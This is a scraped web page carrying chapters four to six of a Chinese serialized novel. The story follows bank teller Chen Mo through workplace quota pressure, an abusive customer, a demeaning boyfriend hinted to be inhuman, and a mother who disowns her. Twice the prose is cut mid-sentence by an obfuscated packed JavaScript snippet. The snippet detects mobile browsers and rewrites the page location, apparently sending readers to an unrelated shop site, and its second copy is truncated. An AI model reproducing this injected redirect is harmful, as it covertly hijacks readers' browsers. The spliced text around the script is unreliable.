早上七点十分,按理说应该有点光了,但今天没有。天空是一种说不清的颜色——不是灰,不是黑,像被人用橡皮擦擦过一遍,只剩下一片脏兮兮的白。 云压得很低。 她站在单元楼下,抬头看了一眼。 那些云不是飘着的,是堆着的,像一大团棉花浸饱了水,随时要掉下来。云的边缘泛着一点黄,那种黄她只在夏天暴雨前见过,但现在不是夏天,六月还没过完,但也不是那种黄。 是另一种黄。 像旧照片被烟熏过的黄。 她低头往前走。 走了两步,又回头看了一眼。 那团云还在那儿,一动不动,好像就停在她头顶这一片。远处的天是正常的灰白,只有她头顶这一块,像被人画了个圈。 陈默把包往上提了提,加快脚步。 地铁站里人很多,早高峰,挤得像沙丁鱼罐头。她被人群推着往前走,刷卡,进站,等车,上车,站着,被挤在车门和另一个人的背包之间。 她扭头看窗外。 隧道里的灯一盏一盏往后闪,快得看不清。她盯着那些光,脑子一片空白。 昨天晚上的事,她没想。 今天早上洗手间里那瓶没动过的沐浴露,她也没想。 她想的是—— 等一下到行里,今天要办什么? 她记不清了。昨天开会说的那些,她一句都没记住。 车到站,她被人群推下去,再推上楼,再推出站。 外面的天还是那样。 灰白里透着一层脏黄,云压得很低,像要掉下来。 她往前走。 走到银行门口的时候,她停了一下。 银行大楼是玻璃幕墙的,平时能照出人影。今天她站在那儿,往玻璃上看—— 玻璃里的天,是正常的。 灰白,有云,但没有那种脏黄色。 她扭头看头顶。 那团云还在。 只在玻璃外面。 不在玻璃里面。 陈默盯着玻璃看了三秒,然后推门进去。 二 晨会八点十分开。 行长姓周,五十多岁,女的,短发,说话快,走路更快,每天像踩着风火轮。陈默在行里五年,从没见过她慢下来。 “今天的工作安排——” 周行长站在白板前面,手里的笔敲得啪啪响。 “信用卡,五张。小陈,你那边有资源,今天必须完成。” 陈默点头。 “养老金账户,六个。这个月指标还差一大截,今天能开几个开几个。老张,你那边柜面多推推。” 老张点头。 “普惠提款,一户。小刘,你昨天联系那个客户,今天能不能签?” 小刘说能。 周行长扫了一圈,目光落在陈默身上。 “小陈,你那边的对公户,今天有没有进展?” 陈默愣了一下。 对公户? “就你上次说的那个,”周行长翻了一下手里的本子,“你男朋友那个公司,不是说要在咱们行开户吗?办了没?” 陈默又愣了一下。 王志强。开户。 那天晚上他喝醉了,躺在沙发上说的——“你明天给我开个户,公司要用”。 她后来没办。 他没再提,她也没问。 “还没,”她说,“他最近忙。” 周行长看了她一眼,那一眼很短,但陈默看懂了。 没说什么,但什么都说了。 “行,抓紧。”周行长合上本子,“散会。” 人往外走的时候,老张碰了碰她的胳膊:“你男朋友那个公司,听说规模不小啊,真开过来,你这个季度指标就够了。” 陈默笑笑,没说话。 她回到工位,打开电脑,输入工号。 屏幕亮起来的那一刻,她想起周行长那句话。 “你这个季度指标就够了。” 够了。 这两个字,她听了五年。 每一季度,每个月,每一周,每一天——都在追这两个字。 够了。完成了。达标了。可以喘口气了。 但从来没够过。 永远差一点,永远还差一点,永远要再跑一步。 她盯着屏幕发呆。 老周的声音从柜台外传来:“陈默,今天外头这天可真够怪的,我刚才出去抽烟,头顶那块云,怎么老在那儿?” 陈默没回头。 “可能是要下雨。”她说。 “不像,”老周说,“下雨的云不是那样的。那颜色,我从来没见——” “老周,”陈默打断他,“帮我看看叫号机,好像卡纸了。” 老周“哦”了一声,走过去了。 陈默低下头,开始办业务。 三 上午十点半,人不多。 陈默刚办完一笔定期转存,正在敲凭证,手机震了一下。 她拿起来看。 王志强发来的微信: “晚上有局,不回去。” 她盯着那四个字,看了很久。 不回去。 三个字,他发了三年。 有时候是“晚上有局”,有时候是“晚点回”,有时候是“别等我了”。三年,她攒了上千条这样的微信,攒成一本看不见的账本,每一条都在告诉她:你不用等,你等不到的。 她把手机扣下。 继续敲凭证。 敲了两下,手停住了。 她想起一件事—— 昨天晚上,他是早回来的。 六点四十就回来了。 还躺在那儿看电视,身上有味儿,把她推地上,说“从来不在晚上洗澡”。 然后今天早上,他又消失了。 沐浴露没动过,毛巾是干的,他根本没回来睡。 那他昨晚在哪儿睡的? 沙发上。 沙发垫上那个印子,她看见了。 很深。 像躺了一夜。 但如果是躺了一夜,为什么她早上起来的时候,他人不在? 她不知道。 她把凭证敲完,叫下一个号。 四 中午吃饭的时候,陈默一个人坐在食堂角落。 餐盘里的饭没动几口,她用筷子戳着米饭,一粒一粒戳散,又堆起来,又戳散。 手机放在旁边,屏幕黑着。 她盯着那团米饭,脑子里乱糟糟的。 信用卡五张。 养老金账户六个。 普惠提款一户。 王志强那个户,要是开过来,指标就够了。 够了。 这两个字又在脑子里冒出来。 她放下筷子,拿起手机,打开王志强的微信对话框。 上次聊天记录还停在早上那条“晚上有局,不回去”。 她打了几个字: “你公司那个户,什么时候开?” 删掉。 又打: “周行长问开户的事。” 删掉。 又打: “今晚回来吗?” 盯着看了三秒,也删掉。 她把手机扣在桌上,低头继续戳米饭。 旁边桌坐了三个同事,正在聊什么八卦,笑声一阵一阵的。她没听清她们在笑什么,只听见一个名字——是某个网点的行长,好像出了什么事。 她没抬头。 戳着戳着,筷子停了。 她想起一件事。 上个月,她想分手那次。 那天她在行里被客户骂了一下午,回家路上哭了一路,到家门口擦干眼泪,想着这次一定要说。 推开门,王志强在家。 难得在家。 他看了她一眼,问:“怎么了?” 她说没事。 他说:“吃饭了没?我带了外卖。” 她看着那袋外卖,突然就说不出口了。 那天晚上她躺在床上,想:算了,今天太累了,改天吧。 改天。 改到今天。 改到无数个 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做工程的。想认识银行的人。 她回: “几点?在哪?” 他发了一个定位,是家KTV的名字。 陈默盯着那个名字。 KTV。 她想起规则第五条。 如果他在KTV点了陪酒女,而那个女人朝你看了一眼——跑。 她把手机扣下,继续办老太太的业务。 手很稳。 心在跳。 六 下班的时候,天已经黑了。 陈默走出银行大门,站在台阶上,抬头看。 那团云还在。 比早上更低了,几乎要压到楼顶。脏兮兮的黄灰色,一动不动,像一只巨大的眼睛,盯着她。 她低头,往前走。 去KTV。 她不知道自己在想什么。 也许是想看看规则第五条会不会应验。也许是想看看王志强在外面到底是什么样。也许只是想—— 想确认一件事。 他是不是人。 她走到地铁站口,刚要下去,手机又震了。 王志强: “算了,你别来了。这帮人太糙,你来了也不自在。” 陈默站在地铁站口,看着那行字。 站了很久。 然后她转身,往回走。 那团云还跟着她。 她走一步,它跟一步。 她停下来,它也停下来。 陈默站在路灯下,抬头看着那片脏黄色的天空。 六月的夜风吹过来,应该是热的,但她后背一阵凉。 她突然想起一个词—— 阴天。 不是天气的阴天。 是别的。 是她头顶这片天,和别人头顶那片天,不是一个天。 她攥紧口袋里的那枚一分钱硬币,往家走。 电梯上行的时候,她看着电梯门里自己的倒影。 黑眼圈,干裂的嘴唇,凹下去的眼眶。 她看着那个人。 那个人也看着她。 电梯门开了。 她走出去,开门,开灯。 客厅空的。 沙发垫上那个印子还在。 她站在那儿,盯着那个印子,盯了很久。 然后她走到沙发前,坐下来。 坐在那个印子旁边。 她不知道自己在等什么。 等他回来? 等天亮? 等那团云散开? 还是等自己终于有勇气,在下次想分手的时候,真的说出来。 她坐着。 客厅里只有空调嗡嗡的声音。 窗外那团脏黄色的云,压得很低很低,像要掉下来。 --- 第四章完 5. 第五章 电话 第五章电话 一 早上九点十七分,陈默办到当天第七笔业务。 客户是个中年男人,四十多岁,戴眼镜,穿一件灰色Polo衫,胸口别着一支钢笔。进来的时候手里拿着手机,一边走一边看,头都不抬。 “您好,请坐,请问办什么业务?” 男人坐到窗口前,把手机放下,从包里掏出一张纸,推过来。 “转账。” 陈默接过纸,看了一眼。 收款方是某出版社,账号一串,金额四万八。备注栏里写着一行字—— 《江河入海流》张晓峰版号ISBN978-7-5498-7654-2 她数了数。 书名六个字,作者名三个字,“版号”两个字,加上那一串字母数字—— 二十三个字。 陈默把纸放下,抬头看男人。 “先生,您这个转账备注,需要录入系统。但是我们系统限制,备注只能输十个字。” 男人抬起头。 “什么?” “备注只能输十个字,”陈默尽量让声音听起来正常,“您这个备注有二十多个字,输不进去。” 男人的眉头皱起来。 “输不进去?你们银行什么破系统?十个字能干什么?” 陈默深吸一口气。 “抱歉先生,这是系统限制,我也没办法。您看能不能精简一下?比如只输书名和作者——” “精简?”男人的声音拔高了,“你知道这是什么吗?这是版号!书号!我新书要出版了,出版社等着这笔钱确认版号,你让我精简?精简了人家怎么知道是哪本书?” “我理解,先生,但是系统——” “我不听系统!”男人一拍窗口,“我不管你们什么系统,我这钱今天必须转过去,备注必须写全,一个字都不能少!” 陈默攥紧手指。 她看了一眼叫号屏,后面还有八个人在等。 “先生,要不您先到旁边坐一下,我请示一下领导——” “我不坐!我就在这儿办!”男人的声音越来越大,“你们银行就是这样服务的?我存钱的时候怎么不说系统不行?我买理财的时候怎么不说十个字?现在我要转个账,你们跟我讲系统限制?” 后面排队的人开始探头看。 保安老周走过来,站在旁边,没吭声。 陈默站起来。 “先生,您别激动,我再试试——” “试什么试!”男人一把抓起窗口凹槽里的那张纸,朝陈默扔过来,“你他妈办不了就换个人来办!叫你们行长来!” 纸片落在陈默脸上,滑下去,飘到地上。 她低头看着那张纸,没动。 男人还在骂。 “什么玩意儿!银行养你们干什么吃的?十个字都输不进去,还好意思坐在这儿?我告诉你,我今天必须投诉你!工号多少?叫你们行长!现在就叫!” 他一边骂一边拍窗口,拍得玻璃窗嗡嗡响。拍了几下不过瘾,一把抓起旁边填单台上的签字笔,往桌上一摔。 笔弹起来,打在了陈默的脸上,随后滚到陈默脚边。 她低头看那支笔。 黑色的,圆珠笔,笔帽摔飞了,不知道滚到哪去了。 男人又抓起一沓单子,往填单台上一摔。 “什么破银行!什么破服务!” 老周上前一步。 “先生,您冷静一下——” “你谁啊?保安?滚一边去!” 老周没动,站在那儿,看着他。 男人瞪了老周一眼,又扭头看陈默。 “你站着干什么?办啊!今天不给我办好,我投诉死你!” 陈默张了张嘴。 她想说什么,但喉咙里像塞了一团棉花,什么都说不出来。 后面排队的人有人开始录像。 有人在嘀咕:“什么情况?” 有人说:“这柜员态度不行吧,客户发这么大火。” 有人说:“银行就这样,服务行业嘛,客户就是上帝。” 陈默听见了。 她都听见了。 她站着,脚边是那张被扔回来的纸,那只摔飞的笔,那沓被摔散的单子。 她不知道自己站了多久。 可能是三秒,可能是五秒。 然后她听见一个声音—— “怎么回事?” 周行长不知道什么时候过来了,站在窗口旁边,看了一眼男人,又看了一眼陈默。 “先生,您别激动,我是行长,有什么事跟我说。” 男人转向周行长,开始说。 说系统不行,说备注输不进去,说柜员态度差,说银行服务烂,说他新书要出版,出版社等着,说他必须投诉,说今天不给个说法绝不罢休。 周行长听着,点头,嗯嗯嗯,我理解,您说得对,是我们的问题。 听了五分钟。 然后她把陈默叫出来,让老张接手那笔业务。 “先生您稍等,我们马上给您办。”周行长说,“备注的事,我们想办法。您先坐一下,喝杯水。” 男人骂骂咧咧地坐到等候区去了。 周行长看了陈默一眼。 “你,跟我来。” 二 行长办公室不大,一张桌子,两把椅子,一个文件柜,窗户对着后面的停车场。 周行长坐下来,没让陈默坐。 陈默站在办公桌前,看着桌面上那一排文件夹。 “怎么回事?”周行长问。 陈默张了张嘴。 “备注……系统限制十个字,他那个备注二十多个字,输不进去,我让他精简一下,他就——” “就发火了?” 陈默点头。 周行长看着她,看了几秒。 “陈默,你在银行干几年了?” “五年。” “五年了,你还不知道怎么处理这种客户?” 陈默没说话。 周行长靠到椅背上。 “客户发火的时候,你该干什么?你站着干什么?等他骂完?等他摔东西?你不会说句软话?不会说‘先生对不起,我马上帮您请示领导’?非要等他闹成这样?” 陈默垂下眼睛。 “我……我说了,我说我请示一下领导——” “你说的是‘您先到旁边坐一下,我请示一下领导’,”周行长打断她,“你知道你这叫什么吗?你这叫把客户往外推。什么叫‘您先到旁边坐一下’?你是嫌他碍事?” 陈默攥紧手指。 “我不是那个意思——” “我知道你不是那个意思,但客户听着就是那个意思。”周行长叹了口气,“陈默,我跟你说过多少次了,服务行业,态度决定一切。你今天态度但凡好一点,他不至于发这么大脾气。” 陈默没说话。 周行长看了她一眼,翻了翻手边的本子。 “上周那个养老金账户,你完成了几个?” 陈默愣了一下。 “两……两个。” “两个?指标是六个。” “我知道,但是——” “信用卡呢?五张,完成了吗?” 陈默没说话。 周行长把本子合上。 “陈默,我不是要给你压力。但你这样下去不行。季度末了,指标还差一大截,客户还投诉,你说我怎么办?” 陈默站着,盯着桌面上那个文件夹。 “那个对公户,”周行长说,“你男朋友那个公司,到底开不开过来?” 陈默攥紧手指。 “他最近忙——” “忙?”周行长看着她,“陈默,我跟你说句实话。你在行里五年了,我待你不薄。但你这个业绩,真不行。你要是能把那个对公户拉过来,这个季度指标就过了。要是拉不过来……” 她没说完。 但陈默听懂了。 “行,你先出去吧。” 陈默转身要走。 “对了,”周行长在身后说,“刚才那个客户,回头写个情况说明。投诉的事,我先压着,但你要有个心理准备。” 陈默停了一下。 “我知道了。” 她推开门,走出去。 三 从行长办公室出来,陈默没回工位。 她拐进消防通道,关上门,在楼梯上坐下来。 楼梯间里只有一盏感应灯,灭了,黑漆漆的。她坐在那儿,靠着墙,盯着对面的墙壁。 墙壁是灰的,刷了半截绿漆,绿漆上面有一块污渍,不知道是什么时候蹭上去的。 她盯着那块污渍,盯了很久。 然后她掏出手机,打开通讯录,找到王志强的名字。 手指悬在屏幕上。 三秒。五秒。十秒。 她按下去。 嘟——嘟——嘟—— 接了。 “喂?”那边声音很吵,有人在说话,有酒杯碰撞的声音,有人在笑。 “王志强。”陈默开口。 “嗯?什么事?忙着呢。” 陈默张了张嘴。 “我……刚才被客户骂了。” 那边顿了一下。 “然后呢?” “行长找我谈话了。” “谈什么?” “业绩的事。还有那个对公户——” “行了行了,”王志强打断她,“我现在忙着呢,回头再说。” “可是——” 嘟——嘟——嘟—— 挂了。 陈默举着手机,看着屏幕上那行字。 通话结束 00:23 二十三秒。 她等了三年,打了这个电话,二十三秒。 她把手机攥在手里,攥得很紧。 感应灯灭了。 楼梯间一片黑。 她坐在黑暗里,没动。 四 晚上七点四十,陈默到家。 开门,开灯,客厅空的。 沙发垫上那个印子还在。 她站在门口,看着那个印子,看了很久。 然后她换鞋,放下包,走进卧室,躺在床上。 没开灯。没脱衣服。就那么躺着。 天花板是白的,月光照进来,有一点亮。她盯着那点亮,一动不动。 手机在口袋里震 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387617|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下。 她没动。 又震了一下。 她掏出来看。 妈妈 两个字在屏幕上亮着。 她盯着那两个字,看了三秒,接起来。 “喂。” “陈默。” 那边是妈妈的声音,一开口就是那个调,不高不低,不冷不热,像在说今天吃什么。 “在忙吗?” “没有。” “下班了?” “嗯。” “吃饭了吗?” “还没。” 那边顿了一下。 “陈默,我问你件事。” 陈默没说话。 “你那个男朋友,王志强,你是不是还不打算分?” 陈默攥紧手机。 “妈——” “你别叫我妈。”那边打断她,“我就问你,分不分?” 陈默没说话。 “我跟你说过多少次了,那个人不靠谱。四十多岁了,不结婚,天天在外面应酬,手机里还藏着那些乱七八糟的——你以为我不知道?你以为我看不出来?” 陈默张了张嘴。 “他就是玩你,”妈妈的声音高了,“就是玩你!你还不明白吗?三年了,他带你见过父母吗?提过结婚吗?让你见过他朋友吗?什么都没有!你就是他养着玩的!” “妈——” “你别说话,让我说完。”妈妈的声音越来越快,“你知道别人怎么说你吗?说我女儿跟了个老男人,图人家钱,图人家房子,下贱!你以为你图到什么了?他给你什么了?就那个破房子,你住着就觉得自己值钱了?” 陈默攥紧手机,手指发白。 “妈,不是你想的那样——” “那是哪样?”妈妈冷笑一声,“陈默,我生你养你二十八年,就是让你给老男人当玩物的?你贱不贱啊?” 陈默张着嘴,说不出话。 那边顿了一下。 “行了,我今天就把话撂这儿。你要是不跟他分手,以后就别叫我妈。我就当没生过你这个女儿。” 嘟——嘟——嘟—— 挂了。 陈默举着手机,听着那一声一声的忙音。 忙音响了很久,然后停了。 屏幕暗下去。 她盯着那块暗下去的屏幕,盯了很久。 月光照进来,照在床上,照在她身上。 她躺着,一动不动。 不知道过了多久,手机又震了一下。 她低头看。 是王志强的微信: “晚上不回去了。你早点睡。” 她盯着那行字。 盯了很久。 然后她把手机扣在床上,闭上眼。 眼泪从眼角滑下来,流进耳朵里,痒痒的。 她没擦。 就那么躺着。 窗外的月光很白,很凉。 那团脏黄色的云不知道什么时候散了,露出后面干干净净的黑。 但她没看见。 她闭着眼。 眼泪一直流。 五 凌晨两点多,陈默醒了。 她不知道自己什么时候睡着的,也不知道睡了多久。手机还扣在床上,她拿起来看了一眼。 没有新消息。 她把手机放下,坐起来,看着窗外。 月亮已经移到另一边了,光照在衣柜上,切成一条一条。 她下了床,光着脚走到客厅。 沙发垫上那个印子还在。 她站在那儿,盯着那个印子。 然后她走到沙发前,蹲下来,伸手摸了摸那个印子。 软的。凉的。和别的地方一样凉。 当她摸到那个凹陷的时候,手指顿了一下。 那个凹陷的底部,有一点湿。 不是水的那种湿。 是别的。 像什么东西,刚刚躺过,刚刚离开,留下的那一点温度,那一点潮气。 陈默把手收回来,看着自己的手指。 月光下,什么也看不清。 她把手指凑到鼻子前,闻了闻。 有一股味道。 很淡,很淡。 像那天晚上他在她面前笑的时候,嘴里发出来的那种味道。 像什么东西,放得太久,已经开始烂了。 陈默站起来,退后一步。 她站在客厅中央,看着那张沙发,看着那个印子,看着那扇门。 门关着。 他不在。 但他躺过。 刚刚躺过。 她低头看自己的手。 那根手指上,好像还沾着什么。 她转身走进洗手间,打开水龙头,洗手。 水很凉,冲在手上,冲了很久。 她抬起头,看镜子里的自己。 黑眼圈,干裂的嘴唇,凹下去的眼眶。 还有眼睛下面,那两道干掉的泪痕。 她盯着那两道泪痕,盯了很久。 然后她低下头,继续洗手。 水哗哗地流。 流了很久。 --- 第五章完 6. 第六章 抓住 第六章抓住 一 星期五下午四点五十,陈默开始收拾东西。 工位上的文件夹归拢,签字笔插回笔筒,水杯洗了扣在杯架上。她做这些事的时候没什么表情,动作很慢,像一台设定好程序的机器。 电脑还没关。她盯着屏幕,等最后那笔业务办完的回执打印出来。 打印机吱吱嘎嘎响着,窗外透进来的光是那种周五下午特有的光——有点懒,有点软,让人觉得再坚持十分钟就能熬到周末了。 窗口外面已经没有客户了。大厅里空空荡荡,老周靠在门边打盹,空调嗡嗡响着,整个网点像一艘搁浅的船。 陈默盯着屏幕右下角的时间。 16:51。 还有九分钟。 九分钟就能下班了。九分钟就能回家了。九分钟就能躺到床上,什么都不想,什么都不干,就那么躺着。 她这两天累坏了。 不是身体累,是那种说不出来的累——心里堵着一团东西,吐不出来,咽不下去,就那么堵着。从那天被客户骂开始,从妈妈打那个电话开始,从发现他可能真的从来不洗澡开始,那团东西就一直堵着。 她试过深呼吸,没用。试过喝水,没用。试过告诉自己“别想太多”,更没用。 那团东西就在那儿。 压着她。 她盯着屏幕,盯着那行时间。 16:52。 打印机吐出最后一张回执,她撕下来,夹进文件夹里,正要关电脑—— 手机震了。 工作群。 她点开。 @所有人明天早上九点,行里集合。行领导组织外拓,全员参加,不得请假。 陈默盯着那行字,看了五秒。 明天早上九点。 周六。 外拓。 不得请假。 她慢慢把手机放下,盯着电脑屏幕。屏幕已经黑了,进入待机状态,只看得见自己的影子——一个模糊的人影,坐在那儿,一动不动。 她想起上周的外拓。穿着行服,站在商场门口,发传单,拉人办信用卡。站了六个小时,脚肿了一圈,办了四张卡,其中三张还是老张帮忙塞的。 这周又去。 下周还去。 每个月都去。 永远都去。 她叹了口气,把手机塞进口袋,站起来,拿起包,往外走。 老周在门口换班,看见她出来,打了个招呼。 “陈默,周末愉快啊。” 陈默点点头。 “嗯,周末愉快。” 她走出银行大门,天还亮着,太阳往西沉,把整条街染成橘红色。那团脏黄色的云早就散了,这几天都没再出现过,天是正常的天,蓝的,白的,该什么样就什么样。 但她总觉得有什么不对。 说不上来。 就是不对。 二 到家六点二十。 开门,开灯,客厅空的。 沙发垫上那个印子还在,但浅了一点,像是慢慢在恢复。她站在门口看了两眼,换鞋,放下包,走进卧室。 在床上坐了一会儿。 窗外能听见楼下的声音——小孩在跑,大人喊吃饭,自行车铃铛响。这些声音她听了三年,早就习惯了。以前不觉得有什么,今天听着,突然觉得那些声音离她很遥远。 她是住在这儿,但她不属于这儿。 她不知道自己属于哪儿。 坐了一会儿,她站起来,走进浴室,打开花洒。 热水冲下来的时候,她闭着眼,站在花洒下面,一动不动。水从头顶流到脚底,哗哗的声音盖住一切,她什么都不用想。 她想起规则第四条——真正的他,从不洗澡。 她想起王志强那天晚上的反应——你又不是不知道,我从来不在晚上洗澡。 她想起这几天观察到的——毛巾永远是干的,沐浴露刻度线没动过,地漏没有头发。 她想起那天早上,他说他早上洗,但她等了一早上,什么都没等到。 水还在冲。 她睁开眼,低头看自己的手。 手被热水冲得发红,皱巴巴的。 她突然想:我每天洗澡,我是人吗? 当然是。 但为什么她越来越不确定了? 关掉水,擦干,换好衣服,走出浴室。 客厅里还是空的。 窗外的天已经黑了,路灯亮着,把树影投在窗帘上,一晃一晃。 她坐在沙发上,拿起手机,看了一眼工作群。 没有新消息。 明天早上九点,外拓。 她把手机放下,靠着沙发,闭上眼。 脑子里乱七八糟的东西又开始往外冒。 明天的外拓。周行长的脸。那个扔纸的客户。妈妈说的那些话。王志强的眼睛。沙发垫上的印子。那瓶没动过的沐浴露。 还有那张纸条。 真正的他,从不洗澡。 她闭着眼,靠在沙发上,听窗外的声音。小孩不跑了,大人不喊了,只有偶尔路过的车声,嗡一声过去,又安静下来。 她快睡着的时候,门响了。 三 钥匙捅进锁孔的声音,拧开,推门。 陈默睁开眼,坐起来。 王志强走进来,手里拎着个塑料袋,不知道是什么,往茶几上一扔。然后他弯腰,把脚上的袜子一扯——扔在地上。再站起来,把外套脱了——扔在沙发上。衬衫解开两颗扣子,一屁股坐进沙发里,沙发发出一声闷响。 “倒洗脚水。” 陈默愣了一下。 “现在?” “废话,不现在什么时候?我累一天了。” 陈默看着他。 他确实像累了一天。脸有点红,眼睛有点肿,衬衫皱巴巴的,身上一股酒味、烟味还有不属于她的香水味混在一起的味道。啤酒肚挺着,领口敞着,头发乱糟糟的。 她站起来,走进卫生间,拿盆,接水。 热水兑冷水,手伸进去试了试,温的。她觉得应该差不多了,端着盆走出来,放在沙发前面。 王志强把脚伸进去。 刚沾到水,他就皱起眉头。 “这什么水?” “洗脚水啊。” “你管这叫洗脚水?”他把脚抽出来,水溅了一地,“温不拉几的,洗什么脚?重倒,要烫的。” 陈默低头看地上的水,又看他。 溅出来的水在瓷砖上漫开,一小片,映着天花板的灯。 “烫的?”她问。 “烫的。听不懂?” 她端起盆,走进卫生间,把水倒了,重新接。这次没兑冷水,直接开热水,烫得她手指一缩。她忍着烫,把盆端出去,放在他面前。 王志强把脚伸进去。 这回没说话。 泡了三秒,他开口了。 “饭呢?” 陈默站着。 “没做。” “没做?”他抬起头看她,“几点了?你回来半天了,饭都不做?” “我……我刚洗完澡。” “洗完澡就不能做饭了?你洗完澡手断了?” 陈默没说话。 王志强把脚从盆里抽出来,往沙发背上一靠,盯着她。 “陈默,你看看这屋里,脏成什么样了?地上这水——我刚弄洒的,行,算我的。但你看这茶几,这灰,这沙发上的衣服——你就不知道收一下?你就知道躺那儿玩手机?” 陈默顺着他的目光看过去。 茶几上确实有灰,薄薄一层。沙发上的衣服是他自己刚扔的。地上那滩水也是他弄洒的。 但她没说话。 王志强继续说。 “你说你一天到晚在银行坐着,能有多累?我外面跑一天,回来连口热饭都吃不上,还要自己端洗脚水——端了还是凉的。你说你会干什么?” 陈默站着,盯着地板。 地板上有水,映着天花板的灯,亮晶晶一小片。 “我每天回来,”王志强的声音越来越高,“累得跟狗一样,就想回家吃口热饭,洗个热水脚,躺下歇着。你呢?你干什么了?你就躺那儿等我回来伺候我?” 陈默攥紧手指。 “我没让你伺候——” “你没让?你什么都没干,不就是让我伺候吗?”他指着地上的盆,“这水,是我让你端的吧?饭,是我让你做的吧?你自己看看,你干成什么了?” 陈默张了张嘴,又闭上。 她不知道该说什么。 他说的是事实。水是她端的,饭她没做,屋里确实有点乱。但她刚下班,刚洗完澡,还没来得及—— 来不及什么? 她也不知道。 他说完了。 客厅里安静下来。 只有空调嗡嗡的声音,和窗外偶尔路过的车声。 陈默还站着。 她不知道该说什么,该做什么。她只知道不能动,一动就可能出错,一出错他就会继续说,继续说下去她可能撑不住。 王志强盯着她看了几秒,然后收回目光,把脚重新伸进盆里。 热水冒着微微的热气。 他泡着脚,靠在沙发上,眼睛半闭着,像在享受。 陈默站着,不知道该走还是该留。 这时候,他又开口了。 “还有你这脸。” 陈默愣了一下。 王志强睁开眼,上下打量她。 “你自己照镜子看过没有?眼袋多重你知道吗?比刚认识你的时候胖了一圈吧?还有这痘——你脸上什么时候长过痘?” 陈默下意识抬手摸了一下脸。 下巴那里,确实有几颗痘,这几天长的。她自己也看见了,但没在意。 “你看看你,”王志强摇头,“跟三年前比,老了不止一星半点。人家找女朋友,都找年轻漂亮的。我找了你,你呢?你就这么给我长脸?” 陈默的手停在脸上。 老了。 他说她老了。 三年前她二十五,现在二十八。三年而已。 但他说的不是三年,是老了。 “你知道我那些哥们怎么说吗?”王志强继续,“他们问,你女朋友呢?怎么不带出来?我说,她啊,在家待着呢。他们问,漂亮吗?我说,还行吧。你知道什么叫‘还行吧’?就是拿不出手!” 陈默攥紧手指。 “你看看你自己,”他上下打量她,“穿的什么玩意儿?这睡衣,你穿三年了吧?领口都松了,还穿。头发,你就不能收拾一下?乱成什么样了?还有你这脸色,蜡黄蜡黄的,跟营养不良似的。” 他越说越起劲。 “我跟你讲,陈默,你别不知好歹。我外面多少人想跟我,我都看不上。你倒好,让你干点活你就摆个脸。你以为你是谁?” 陈默站着,一动不动。 她盯着地板上的那滩水。 水在慢慢变干,边缘已经有点干了,中间还有一小片亮晶晶的。 “我供你吃,供你住,供你花,”王志强的声音像钝刀子一样割过来,“你呢?你给我什么了?饭不会做,活不会干,脸还越来越老。你说我要你干什么?” 他说完了。 把脚从盆里抽出来,往地上一放。 “擦脚。” 陈默蹲下去,拿过毛巾,给他擦脚。 毛巾是干的,吸了水就变深色。她擦完一只,换另一只,动作很慢,很轻。 王志强低头看着她。 她感觉到他的目光,但没抬头。 擦完了。 她端着盆站起来,走进卫生间,把水倒了,盆放好,毛巾挂好。 走出来的时候,王志强已经躺在沙发上了,闭着眼,像睡着了。 她站在客厅中央,看着那张沙发,看着那个躺在上面的人。 然后她走过去,把地上的水擦了。 水是凉的。沾在抹布上,洇开一片深色。她拧干,再擦,再拧干,直到地板恢复原来的颜色。 然后她把沙发上的衣服捡起来,搭在椅背上。 又拿抹布,把茶几擦了。 灰是薄薄一层,一抹就掉。抹布上留下一条灰印子,她拿到水龙头下冲干净,拧干,挂好。 做完这些,她站在客厅中央,不知道该干什么。 一切都收拾好了。 和她刚回来时一样。 和她每天回来时一样。 和她三年来的每一天一样。 她走进卧室。 躺在床上,盯着天花板。 四 天花板是白的,晚上关了灯就看不清,但有路灯的光漏进来,能看见一个模糊的轮廓。那个轮廓是她每天睡前都要看的,看三年了,闭着眼都能画出来。 但她今天盯着它,脑子里乱糟糟的。 他说她老了。 眼袋重。胖了。起痘了。老了。 他说她拿不出手。 他说别人想跟他,他都看不上。 他说她不知好歹。 她摸着自己的脸,想着刚认识的时候。那时候她二十五,皮肤还行,没有眼袋,下巴不长痘。他那时候对她还挺好的,没骂过,没嫌过,还会买早餐。 那时候她觉得他有本事。四十岁,有自己的工程公司,有车有房,说话办事都透着那种“过来人”的底气。她觉得跟着他,以后不用愁了。 现在呢? 三年。 三年她就老了。 那再过三年呢?三十一岁。再过六年呢?三十四岁。 她不敢想。 但她知道一件事—— 她不能让他甩了她。 不能。 她三十了怎么办?三十五了怎么办?离开他,她能去哪? 回妈妈那儿? 妈妈那天晚上说的话,她现在还记得——下贱,玩物,就当没生过你。 她回不去了。 银行那点工资,够干什么? 她算过很多次。每个月到手六千出头,房租两千五,水电燃气两百,交通两百,吃饭一千五,电话费一百,乱七八糟的日用品三百——剩下一千出头。 这一千多,能干什么? 买件衣服就没了。生个病就没了。出点什么事就没了。 她在这个城市待了十年,存款不到两万。两万能干什么?交三个月房租?买张回老家的车票? 回老家能干什么?二十八岁,没结婚,没孩子,没存款,回老家干什么?听人说闲话?看人眼色? 她回不去。 朋友?早就不联系了。 家人?妈妈说了,当她死了。 她只有王志强。 只有这个嫌她老、嫌她胖、嫌她不会做饭的男人。 只有这个让她倒洗脚水、骂她不知好歹、说她拿不出手的男人。 只有这个从来不洗澡、沙发垫上永远有个印子、半夜会悄无声息消失的男人。 她必须抓住他。 不管他是什么。 不管他洗不洗澡。 不管他是不是人。 她必须抓住他。 正想着,卧室门开了。 王志强走进来,往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 